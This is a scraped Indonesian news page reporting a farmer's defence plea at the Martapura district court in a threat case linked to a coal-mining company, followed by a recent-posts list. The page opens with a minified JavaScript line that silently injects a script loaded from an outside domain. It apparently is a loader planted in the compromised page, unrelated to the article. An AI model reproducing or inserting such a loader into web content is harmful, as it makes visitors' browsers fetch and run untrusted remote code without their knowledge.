(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Petani Sumardi Minta Dibebaskan Tanpa Bersyarat


KANALKALIMANTAN.COM, MARTAPURA – Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar, menyampaikan sejumlah pembelaan atas tuntutan Jaksa Penuntut Umum (JPU) terkait kasus pidana pengancaman di area tambang batu bara yang tengah menimpanya.

Pembelaan itu dituangkan dalam pledoi oleh kuasa hukum dalam dalam sidang pembacaan tuntutan nota pembelaan di ruang sidang Cakra 1 Pengadilan Negeri (PN) Martapura, Senin (4/11/2024).

Noor Jannah, pengacara Sumardi menjelaskan bahwa di dalam nota pembelaaan itu pihak terdakwa memutuskan sejumlah amar yang mengatakan bahwa Sumardi murni tidak bersalah.

Baca juga: Sidang Praperadilan Sahbirin Noor Sampaikan Sembilan Petitum

“Di dalamnya dimuat pembelaan bahwa beliau melakukan perbuatan itu berdasarkan emosi karena melihat hasil kebun beliau yang siap panen malah dirusak dan diacak oleh suruhannya PT MMI,” ujar Noor Jannah saat diwawancarai, Senin (4/11/2024) siang.

Kemudian dari amar dan subsider, kata dia, pihaknya meminta agar terdakwa dibebaskan tanpa bersyarat.

“Kami juga meminta dukungan kawan-kawan sampai nanti putusan dari pengadilan menyatakan terdakwa murni tidak melakukan pengancaman terhadap Mr Huang,” tegas dia.

Baca juga: Hadapi Praperadilan Gubernur Kalsel, KPK Yakin Ditolak Hakim

Adapun perbuatan Sumardi yang disangkakan berdasarkan pasal 335 ayat 1 sangat jelas berbeda dengan keadaan di lapangan.

Dirinya menegaskan bahwa Sumardi melakukan perbuatannya dalam keadaan emosi yang tidak stabil.

“Kami menjelaskan dari unsur-unsur pidananya dengan merusuk Pasal 335 ayat 1 sangat jelas bahwa beliau dalam keaadan emosi yang tidak stabil dasar itu lah kami masukkan dalam nota pembelaan,” jelasnya.

Baca juga: Kirim Uang ke LN Lewat BRImo Bisa Dapat Hadiah Menarik Setiap Bulan, Mau?

Hal yang sama juga disampaikan Sumardi yang hadir sebagai terdakwa dengan keadaan betis kanan masih terpasang gelang kaki elektronik.

Sumardi menjelaskan bahwa di dalam kronologisnya sebanyak 4.400 tanaman singkong siap panen dan 47 batang pohon pisang miliknya itu dicampur aduk oleh perusahaan tambang.

“Sedangkan saya hanya menyampaikan untuk minta ganti rugi, namun kalau ditanyai gak tau gak tau, begitu terus jadi saya timbul emosi sampai mencengkram leher bajunya itu saja,” ucap Sumardi menambahkan.

Baca juga: Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM

“Harapannya bisa cepat dibebaskan dan tidak ada masalah lagi, sudah kenyang cari biaya sana kemari,” tandas dia.

Sumardi pun kembali bersiap melakukan sidang lanjutan dalam agenda penyampaian Replik dari JPU pada Kamis (7/11/2024) mendatang. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

5 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

6 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

6 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.